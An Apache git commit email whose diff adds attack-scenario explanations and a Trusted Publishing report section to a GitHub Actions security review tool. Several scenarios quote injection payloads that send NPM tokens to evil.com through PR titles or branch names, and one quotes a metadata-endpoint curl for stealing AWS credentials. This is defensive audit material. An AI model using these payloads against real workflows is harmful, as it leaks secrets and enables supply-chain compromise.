This is an automated email from the ASF dual-hosted git repository.
akm pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git
The following commit(s) were added to refs/heads/main by this push:
new e23409d Adding trusted publishing and attack examples
e23409d is described below
commit e23409d6569fa2dbb71d71f81d1df270f8229fd6
Author: Andrew Musselman <[email protected]>
AuthorDate: Mon Apr 6 18:26:20 2026 -0700
Adding trusted publishing and attack examples
---
repos/apache/github-review/agents/json-export.py | 89 ++++++++++
repos/apache/github-review/agents/publishing.py | 46 +++++
.../github-review/agents/{summary.py => review.py} | 193 +++++++++++++++++++++
repos/apache/github-review/agents/security.py | 4 +
4 files changed, 332 insertions(+)
diff --git a/repos/apache/github-review/agents/json-export.py
b/repos/apache/github-review/agents/json-export.py
index de557aa..9cf96cb 100644
--- a/repos/apache/github-review/agents/json-export.py
+++ b/repos/apache/github-review/agents/json-export.py
@@ -203,11 +203,100 @@ async def run(input_dict, tools):
"findings": finding_records,
})
+ # --- Check definitions with attack scenarios ---
+ check_definitions = {
+ "prt_checkout": {
+ "label": "PR Target Code Execution",
+ "severity": "CRITICAL",
+ "description": "Workflow uses pull_request_target and checks
out the PR head code.",
+ "attack": "An external contributor opens a PR that modifies a
script executed by the workflow. Because pull_request_target runs with the base
repo's secrets and write permissions, the attacker's code executes with full
access to repository secrets, signing keys, and can push malicious releases.",
+ "example": "1. Attacker forks the repo\n2. Modifies build.sh
to exfiltrate $NPM_TOKEN to an external server\n3. Opens PR — workflow checks
out attacker's branch and runs build.sh\n4. Secrets are leaked; attacker
publishes backdoored package",
+ },
+ "composite_action_input_injection": {
+ "label": "Composite Action Hidden Injection",
+ "severity": "HIGH",
+ "description": "Composite action interpolates inputs.*
directly in run: blocks.",
+ "attack": "A workflow passes user-controlled values (PR title,
branch name) to a composite action via with:. The composite action directly
interpolates these in a shell run: block. The injection is hidden from
workflow-level code review.",
+ "example": "1. Composite action has: run: echo \"Building ${{
inputs.version }}\"\n2. Workflow calls it with: version: ${{
github.event.pull_request.title }}\n3. Attacker sets PR title to: \"; curl
http://evil.com/steal?t=$NPM_TOKEN #\n4. Shell executes the injected command
with workflow secrets",
+ },
+ "run_block_injection": {
+ "label": "Workflow Script Injection",
+ "severity": "LOW-MEDIUM",
+ "description": "Direct ${{ }} interpolation of values in
workflow run: blocks.",
+ "attack": "When untrusted values (PR titles, branch names,
issue bodies) are interpolated directly into shell scripts via ${{ }}, an
attacker can inject arbitrary shell commands.",
+ "example": "1. Workflow has: run: echo \"Branch: ${{
github.head_ref }}\"\n2. Attacker creates branch named: main\"; curl
http://evil.com/steal?t=$SECRET #\n3. Shell interprets the branch name as a
command\n4. Fix: pass through env: block and reference as $BRANCH",
+ },
+ "unpinned_actions": {
+ "label": "Unpinned Action Tags",
+ "severity": "MEDIUM",
+ "description": "Actions referenced by mutable version tags
instead of SHA-pinned commits.",
+ "attack": "An attacker compromises an action's repository and
pushes malicious code to an existing tag. Every workflow referencing that tag
immediately runs the compromised code. This happened in the
tj-actions/changed-files attack (March 2025).",
+ "example": "1. Workflow uses actions/setup-node@v4 (mutable
tag)\n2. Attacker compromises the action repo and force-pushes to the v4
tag\n3. Next workflow run executes attacker's code with full repo access\n4.
Fix: pin to SHA — actions/setup-node@1a4442cacd436585916f",
+ },
+ "composite_action_unpinned": {
+ "label": "Unpinned Actions in Composite Actions",
+ "severity": "MEDIUM",
+ "description": "Composite actions reference other actions by
mutable tags.",
+ "attack": "Same supply chain risk as unpinned workflow
actions, but harder to audit. Reviewers checking .github/workflows/ won't see
the unpinned refs buried inside .github/actions/*/action.yml.",
+ "example": "1. Composite action uses actions/cache@v4\n2. 15
workflows call this composite action\n3. actions/cache@v4 tag is
compromised\n4. All 15 workflows are now executing malicious code",
+ },
+ "composite_action_injection": {
+ "label": "Composite Action Input Interpolation",
+ "severity": "LOW",
+ "description": "Composite action interpolates inputs in run:
blocks (trusted callers today).",
+ "attack": "Currently called only from trusted contexts, but if
a future workflow passes untrusted input to this composite action, the
interpolation becomes exploitable. The injection surface is pre-positioned.",
+ "example": "1. Composite action has: run: ./build.sh
--version=${{ inputs.version }}\n2. Today, only called from workflow_dispatch
(committers only) — safe\n3. Future PR adds: version: ${{
github.event.pull_request.head.ref }}\n4. Now attacker-controlled input flows
into shell execution",
+ },
+ "broad_permissions": {
+ "label": "Overly Broad Token Permissions",
+ "severity": "LOW",
+ "description": "Workflow requests more GITHUB_TOKEN scopes
than needed.",
+ "attack": "A workflow with excessive scopes gives any
compromised step the ability to push code, close issues, merge PRs, and modify
releases. Least-privilege would limit blast radius.",
+ "example": "1. Workflow has permissions: { contents: write,
issues: write }\n2. A third-party action in the workflow is compromised\n3.
Compromised action uses GITHUB_TOKEN to push a backdoor commit\n4. Fix:
restrict to only needed scopes per job",
+ },
+ "cache_poisoning": {
+ "label": "Cache Poisoning via PR",
+ "severity": "INFO",
+ "description": "Workflow uses actions/cache with pull_request
trigger.",
+ "attack": "An attacker's PR can populate the GitHub Actions
cache with malicious build artifacts. If the cache key is predictable,
subsequent runs on the main branch may restore the poisoned cache.",
+ "example": "1. Workflow caches node_modules on PR events\n2.
Attacker's PR modifies package-lock.json to add a malicious package\n3. Cache
is populated with attacker's dependencies\n4. Next main-branch build restores
the poisoned cache",
+ },
+ "missing_codeowners": {
+ "label": "No CODEOWNERS File",
+ "severity": "LOW",
+ "description": "Repository has no CODEOWNERS file for workflow
change review.",
+ "attack": "Without CODEOWNERS requiring security team review
of .github/ changes, any committer can modify workflow files, add new triggers,
or introduce injection patterns without mandatory security review.",
+ "example": "1. Committer adds pull_request_target trigger to
an existing workflow\n2. No CODEOWNERS rule requires security review for
.github/ changes\n3. PR is merged with standard code review\n4. Workflow is now
vulnerable to external PRs",
+ },
+ "codeowners_gap": {
+ "label": "CODEOWNERS Missing .github/ Coverage",
+ "severity": "LOW",
+ "description": "CODEOWNERS exists but has no rule covering
.github/ directory.",
+ "attack": "The repo has CODEOWNERS for source code but forgot
to add .github/ coverage. Workflow modifications slip through without security
review.",
+ "example": "1. CODEOWNERS has: *.java @security-team but no
.github/ rule\n2. Committer modifies .github/workflows/release.yml\n3. Change
bypasses security team review\n4. Fix: add /.github/ @security-team to
CODEOWNERS",
+ },
+ "third_party_actions": {
+ "label": "Third-Party Actions",
+ "severity": "INFO",
+ "description": "Workflow uses actions from outside the
actions/ and github/ organizations.",
+ "attack": "Third-party actions run with full access to the
workflow's GITHUB_TOKEN and secrets. A compromised maintainer account or repo
transfer can turn a trusted action into a supply chain attack vector.",
+ "example": "1. Workflow uses cool-org/deploy-action@v2\n2.
cool-org maintainer's GitHub account is compromised\n3. Attacker pushes
malicious code to the v2 tag\n4. Every repo using this action now leaks secrets
on next run",
+ },
+ "self_hosted_runner": {
+ "label": "Self-Hosted Runner Exposure",
+ "severity": "MEDIUM",
+ "description": "Workflow runs on self-hosted runners with PR
triggers.",
+ "attack": "Self-hosted runners persist state between jobs. An
attacker's PR can execute arbitrary code on the runner, install backdoors, or
steal credentials cached on disk.",
+ "example": "1. Workflow runs on self-hosted runner and
triggers on pull_request\n2. Attacker's PR executes: curl
http://169.254.169.254/latest/meta-data/\n3. AWS instance credentials are
exfiltrated\n4. Attacker gains access to internal infrastructure",
+ },
+ }
+
# --- Build top-level summary ---
output = {
"schema_version": "1.0",
"owner": owner,
"generated_at":
__import__("datetime").datetime.utcnow().isoformat() + "Z",
+ "check_definitions": check_definitions,
"summary": {
"repos_scanned": pub_stats.get("repos_scanned", 0),
"repos_with_workflows": pub_stats.get("repos_with_workflows",
0),
diff --git a/repos/apache/github-review/agents/publishing.py
b/repos/apache/github-review/agents/publishing.py
index c9ee349..362a7c5 100644
--- a/repos/apache/github-review/agents/publishing.py
+++ b/repos/apache/github-review/agents/publishing.py
@@ -680,6 +680,49 @@ async def run(input_dict, tools):
lines.append(f"| {eco} | {count} | {pct:.1f}% |")
lines.append("")
+ # --- Already Using Trusted Publishing ---
+ tp_already = []
+ for w in release_wfs + snapshot_wfs:
+ ecosystems = w.get("ecosystems") or []
+ auth = safe_str(w.get("auth_method"))
+ for eco in ecosystems:
+ if eco in TRUSTED_PUBLISHING_ECOSYSTEMS and not
uses_long_lived_token(auth):
+ auth_lower = auth.lower()
+ if "oidc" in auth_lower or "trusted publisher" in
auth_lower or "id-token" in auth_lower:
+ tp_info = TRUSTED_PUBLISHING_ECOSYSTEMS[eco]
+ tp_already.append({
+ "repo": w.get("repo", "?"), "file": w.get("file",
"?"),
+ "ecosystem": eco, "ecosystem_label":
tp_info["label"],
+ "auth_method": auth, "category":
safe_str(w.get("category")),
+ })
+
+ if tp_already:
+ lines.append("## Already Using Trusted Publishing\n")
+ lines.append("These workflows publish to OIDC-capable ecosystems
and are already using "
+ "Trusted Publishing — no stored secrets needed for
publishing.\n")
+
+ tp_already_by_eco = {}
+ for opp in tp_already:
+ tp_already_by_eco.setdefault(opp["ecosystem"], []).append(opp)
+
+ for eco, opps in sorted(tp_already_by_eco.items()):
+ info = TRUSTED_PUBLISHING_ECOSYSTEMS[eco]
+ lines.append(f"### {info['label']}\n")
+ lines.append("| Repository | Workflow | Auth Method | Category
|")
+
lines.append("|------------|----------|------------|----------|")
+ seen = set()
+ for opp in sorted(opps, key=lambda x: (x["repo"], x["file"])):
+ dedup_key = f"{opp['repo']}:{opp['file']}:{eco}"
+ if dedup_key in seen:
+ continue
+ seen.add(dedup_key)
+ cat_label = CATEGORY_LABELS.get(opp["category"],
opp["category"])
+ lines.append(f"| {opp['repo']} | `{opp['file']}` |
{sanitize_md(opp['auth_method'])} | {cat_label} |")
+ lines.append("")
+ else:
+ lines.append("## Already Using Trusted Publishing\n")
+ lines.append("No workflows detected using OIDC Trusted Publishing
yet.\n")
+
# --- Trusted Publishing Opportunities ---
tp_opportunities = []
for w in release_wfs + snapshot_wfs:
@@ -916,6 +959,8 @@ async def run(input_dict, tools):
toc_lines.append(f"- [Executive Summary](#{to_anchor('Executive
Summary')})")
if release_ecosystems:
toc_lines.append(f"- [Package Ecosystem
Distribution](#{to_anchor('Package Ecosystem Distribution releases snapshots
only')})")
+ if tp_already:
+ toc_lines.append(f"- [Already Using Trusted
Publishing](#{to_anchor('Already Using Trusted Publishing')})
({len(tp_already)})")
if tp_opportunities:
toc_lines.append(f"- [Trusted Publishing
Opportunities](#{to_anchor('Trusted Publishing Migration Opportunities')})
({len(tp_opportunities)})")
if release_wfs:
@@ -962,6 +1007,7 @@ async def run(input_dict, tools):
"trusted_input_count": len(trusted_input_notes),
"downgraded_count": len(downgraded_notes),
"trusted_publishing_opportunities": len(tp_opportunities),
+ "trusted_publishing_already": len(tp_already),
})
return {"outputText": full_report}
diff --git a/repos/apache/github-review/agents/summary.py
b/repos/apache/github-review/agents/review.py
similarity index 59%
rename from repos/apache/github-review/agents/summary.py
rename to repos/apache/github-review/agents/review.py
index 0455785..a93bb44 100644
--- a/repos/apache/github-review/agents/summary.py
+++ b/repos/apache/github-review/agents/review.py
@@ -234,6 +234,199 @@ async def run(input_dict, tools):
lines.append(f"| Top ecosystems | {eco_summary} |")
lines.append("")
+ # --- Findings by Vulnerability Type ---
+ check_counts = sec_stats.get("check_counts", {})
+ # Filter out informational-only checks
+ info_checks = {"composite_actions_scanned",
"missing_dependency_updates"}
+ vuln_checks = {k: v for k, v in check_counts.items() if k not in
info_checks and v > 0}
+
+ ATTACK_SCENARIOS = {
+ "prt_checkout": {
+ "label": "PR Target Code Execution",
+ "severity": "CRITICAL",
+ "description": "Workflow uses `pull_request_target` and checks
out the PR head code.",
+ "attack": ("An external contributor opens a PR that modifies a
script executed by the workflow. "
+ "Because `pull_request_target` runs with the *base*
repo's secrets and write permissions, "
+ "the attacker's code executes with full access to
repository secrets, NPM_TOKENs, "
+ "signing keys, and can push malicious releases."),
+ "example": ("1. Attacker forks the repo\n"
+ "2. Modifies `build.sh` to exfiltrate `$NPM_TOKEN`
to an external server\n"
+ "3. Opens PR — workflow checks out attacker's
branch and runs `build.sh`\n"
+ "4. Secrets are leaked; attacker publishes
backdoored package"),
+ },
+ "composite_action_input_injection": {
+ "label": "Composite Action Hidden Injection",
+ "severity": "HIGH",
+ "description": "Composite action interpolates `inputs.*`
directly in `run:` blocks.",
+ "attack": ("A workflow passes user-controlled values (PR
title, branch name, label) to a composite action "
+ "via `with:`. The composite action directly
interpolates these in a shell `run:` block. "
+ "The injection is hidden from workflow-level code
review because reviewers see "
+ "`with: { version: ${{ inputs.version }} }` — which
looks safe — but inside the composite "
+ "action, that value is used as `echo ${{
inputs.version }}` in a shell context."),
+ "example": ("1. Composite action has: `run: echo \"Building
${{ inputs.version }}\"`\n"
+ "2. Workflow calls it with: `version: ${{
github.event.pull_request.title }}`\n"
+ "3. Attacker sets PR title to: `\"; curl
http://evil.com/steal?t=$NPM_TOKEN #`\n"
+ "4. Shell executes the injected command with
workflow secrets"),
+ },
+ "run_block_injection": {
+ "label": "Workflow Script Injection",
+ "severity": "LOW–MEDIUM",
+ "description": "Direct `${{ }}` interpolation of values in
workflow `run:` blocks.",
+ "attack": ("When untrusted values (PR titles, branch names,
issue bodies) are interpolated directly "
+ "into shell scripts via `${{ }}`, an attacker can
inject arbitrary shell commands. "
+ "Even trusted values like `secrets.*` or
`workflow_dispatch` inputs risk log leakage "
+ "or accidental command injection from malformed
input."),
+ "example": ("1. Workflow has: `run: echo \"Branch: ${{
github.head_ref }}\"`\n"
+ "2. Attacker creates branch named: `main\"; curl
http://evil.com/steal?t=$SECRET #`\n"
+ "3. Shell interprets the branch name as a
command\n"
+ "4. Fix: pass through `env:` block and reference
as `$BRANCH`"),
+ },
+ "unpinned_actions": {
+ "label": "Unpinned Action Tags",
+ "severity": "MEDIUM",
+ "description": "Actions referenced by mutable version tags
instead of SHA-pinned commits.",
+ "attack": ("An attacker compromises an action's repository (or
a maintainer account) and pushes "
+ "malicious code to an existing tag like `v4`. Every
workflow referencing `actions/checkout@v4` "
+ "immediately runs the compromised code. This
happened in the real-world `tj-actions/changed-files` "
+ "supply chain attack (March 2025)."),
+ "example": ("1. Workflow uses `actions/setup-node@v4` (mutable
tag)\n"
+ "2. Attacker compromises the action repo and
force-pushes to the `v4` tag\n"
+ "3. Next workflow run executes attacker's code
with full repo access\n"
+ "4. Fix: pin to SHA —
`actions/setup-node@1a4442cacd436585916f`"),
+ },
+ "composite_action_unpinned": {
+ "label": "Unpinned Actions in Composite Actions",
+ "severity": "MEDIUM",
+ "description": "Composite actions reference other actions by
mutable tags.",
+ "attack": ("Same supply chain risk as unpinned workflow
actions, but harder to audit. "
+ "Reviewers checking `.github/workflows/` won't see
the unpinned refs buried "
+ "inside `.github/actions/*/action.yml`. A
compromised dependency action affects "
+ "all workflows that call the composite action."),
+ "example": ("1. Composite action
`.github/actions/build/action.yml` uses `actions/cache@v4`\n"
+ "2. 15 workflows call this composite action\n"
+ "3. `actions/cache@v4` tag is compromised\n"
+ "4. All 15 workflows are now executing malicious
code"),
+ },
+ "composite_action_injection": {
+ "label": "Composite Action Input Interpolation",
+ "severity": "LOW",
+ "description": "Composite action interpolates inputs in `run:`
blocks (trusted callers today).",
+ "attack": ("Currently called only from trusted contexts
(workflow_dispatch, push to main), "
+ "but if a future workflow passes untrusted input
(PR title, comment body) to this "
+ "composite action, the interpolation becomes
exploitable. The injection surface "
+ "is pre-positioned — it just needs an unsafe
caller."),
+ "example": ("1. Composite action has: `run: ./build.sh
--version=${{ inputs.version }}`\n"
+ "2. Today, only called from workflow_dispatch
(committers only) — safe\n"
+ "3. Future PR adds: `version: ${{
github.event.pull_request.head.ref }}`\n"
+ "4. Now attacker-controlled input flows into shell
execution"),
+ },
+ "broad_permissions": {
+ "label": "Overly Broad Token Permissions",
+ "severity": "LOW",
+ "description": "Workflow requests more GITHUB_TOKEN scopes
than needed.",
+ "attack": ("A workflow with `contents: write`, `issues:
write`, and `pull-requests: write` "
+ "gives any compromised step (via unpinned action or
injection) the ability to "
+ "push code, close issues, merge PRs, and modify
releases. Least-privilege would "
+ "limit blast radius."),
+ "example": ("1. Workflow has `permissions: { contents: write,
issues: write }`\n"
+ "2. A third-party action in the workflow is
compromised\n"
+ "3. Compromised action uses GITHUB_TOKEN to push a
backdoor commit\n"
+ "4. Fix: restrict to only needed scopes per job"),
+ },
+ "cache_poisoning": {
+ "label": "Cache Poisoning via PR",
+ "severity": "INFO",
+ "description": "Workflow uses `actions/cache` with
pull_request trigger.",
+ "attack": ("An attacker's PR can populate the GitHub Actions
cache with malicious build "
+ "artifacts or dependencies. If the cache key is
predictable (e.g., based on "
+ "`hashFiles('**/package-lock.json')`), subsequent
runs on the main branch "
+ "may restore the poisoned cache."),
+ "example": ("1. Workflow caches `node_modules` on PR events\n"
+ "2. Attacker's PR modifies `package-lock.json` to
add a malicious package\n"
+ "3. Cache is populated with attacker's
dependencies\n"
+ "4. Next main-branch build restores the poisoned
cache"),
+ },
+ "missing_codeowners": {
+ "label": "No CODEOWNERS File",
+ "severity": "LOW",
+ "description": "Repository has no CODEOWNERS file for workflow
change review.",
+ "attack": ("Without CODEOWNERS requiring security team review
of `.github/` changes, "
+ "any committer can modify workflow files, add new
triggers, weaken permissions, "
+ "or introduce injection patterns without mandatory
security review."),
+ "example": ("1. Committer adds `pull_request_target` trigger
to an existing workflow\n"
+ "2. No CODEOWNERS rule requires security review
for `.github/` changes\n"
+ "3. PR is merged with standard code review
(reviewer may miss security implication)\n"
+ "4. Workflow is now vulnerable to external PRs"),
+ },
+ "codeowners_gap": {
+ "label": "CODEOWNERS Missing .github/ Coverage",
+ "severity": "LOW",
+ "description": "CODEOWNERS exists but has no rule covering
`.github/` directory.",
+ "attack": ("Same risk as missing CODEOWNERS but more subtle —
the repo has CODEOWNERS for source "
+ "code but forgot to add `.github/` coverage.
Security team reviews code changes "
+ "but workflow modifications slip through."),
+ "example": ("1. CODEOWNERS has: `*.java @security-team` but no
`.github/` rule\n"
+ "2. Committer modifies
`.github/workflows/release.yml`\n"
+ "3. Change bypasses security team review\n"
+ "4. Fix: add `/.github/ @security-team` to
CODEOWNERS"),
+ },
+ "third_party_actions": {
+ "label": "Third-Party Actions",
+ "severity": "INFO",
+ "description": "Workflow uses actions from outside the
`actions/` and `github/` organizations.",
+ "attack": ("Third-party actions run with full access to the
workflow's GITHUB_TOKEN and secrets. "
+ "A compromised maintainer account, repo transfer,
or typosquat can turn a "
+ "trusted action into a supply chain attack
vector."),
+ "example": ("1. Workflow uses `cool-org/deploy-action@v2`\n"
+ "2. `cool-org` maintainer's GitHub account is
compromised\n"
+ "3. Attacker pushes malicious code to the `v2`
tag\n"
+ "4. Every repo using this action now leaks secrets
on next run"),
+ },
+ "self_hosted_runner": {
+ "label": "Self-Hosted Runner Exposure",
+ "severity": "MEDIUM",
+ "description": "Workflow runs on self-hosted runners with PR
triggers.",
+ "attack": ("Self-hosted runners persist state between jobs. An
attacker's PR can execute "
+ "arbitrary code on the runner, install backdoors,
steal credentials cached on disk, "
+ "or pivot to internal networks the runner has
access to."),
+ "example": ("1. Workflow runs on `self-hosted` runner and
triggers on `pull_request`\n"
+ "2. Attacker's PR executes: `curl
http://169.254.169.254/latest/meta-data/`\n"
+ "3. AWS instance credentials are exfiltrated\n"
+ "4. Attacker gains access to internal
infrastructure"),
+ },
+ }
+
+ if vuln_checks:
+ lines.append("## Findings by Vulnerability Type\n")
+ lines.append("| Vulnerability | Count | Severity | Description |")
+ lines.append("|--------------|-------|----------|-------------|")
+
+ for check, count in sorted(vuln_checks.items(), key=lambda x:
-x[1]):
+ scenario = ATTACK_SCENARIOS.get(check, {})
+ label = scenario.get("label", check)
+ sev_label = scenario.get("severity", "—")
+ desc = scenario.get("description", "")
+ lines.append(f"| [{label}](#{anchor(label)}) | {count} |
{sev_label} | {desc} |")
+
+ lines.append("")
+
+ # --- Attack Scenario Details ---
+ lines.append("## Attack Scenarios\n")
+ lines.append("For each vulnerability type found, here is how an
attacker could exploit it.\n")
+
+ for check, count in sorted(vuln_checks.items(), key=lambda x:
-x[1]):
+ scenario = ATTACK_SCENARIOS.get(check)
+ if not scenario:
+ continue
+ label = scenario["label"]
+ lines.append(f"### {label}\n")
+ lines.append(f"**{count} instances found** | Severity:
**{scenario['severity']}**\n")
+ lines.append(f"{scenario['attack']}\n")
+ lines.append(f"**Example attack:**\n")
+ for step in scenario["example"].split("\n"):
+ lines.append(step)
+ lines.append("")
+
# --- CRITICAL + HIGH publishing tier ---
immediate = critical_repos + high_publishing
if immediate:
diff --git a/repos/apache/github-review/agents/security.py
b/repos/apache/github-review/agents/security.py
index fedbe4e..8b00c26 100644
--- a/repos/apache/github-review/agents/security.py
+++ b/repos/apache/github-review/agents/security.py
@@ -373,6 +373,10 @@ async def run(input_dict, tools):
action_refs = extract_action_refs(content)
all_action_refs.extend([(wf_name, ref) for ref in action_refs])
+ # NOTE: When adding a new check type, also add a matching
entry to
+ # ATTACK_SCENARIOS in Agent 3 (report combiner) so the
combined report
+ # includes an attack scenario description for the new check.
+
# Check 1: pull_request_target + checkout
prt = check_prt_checkout(content)
if prt:
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]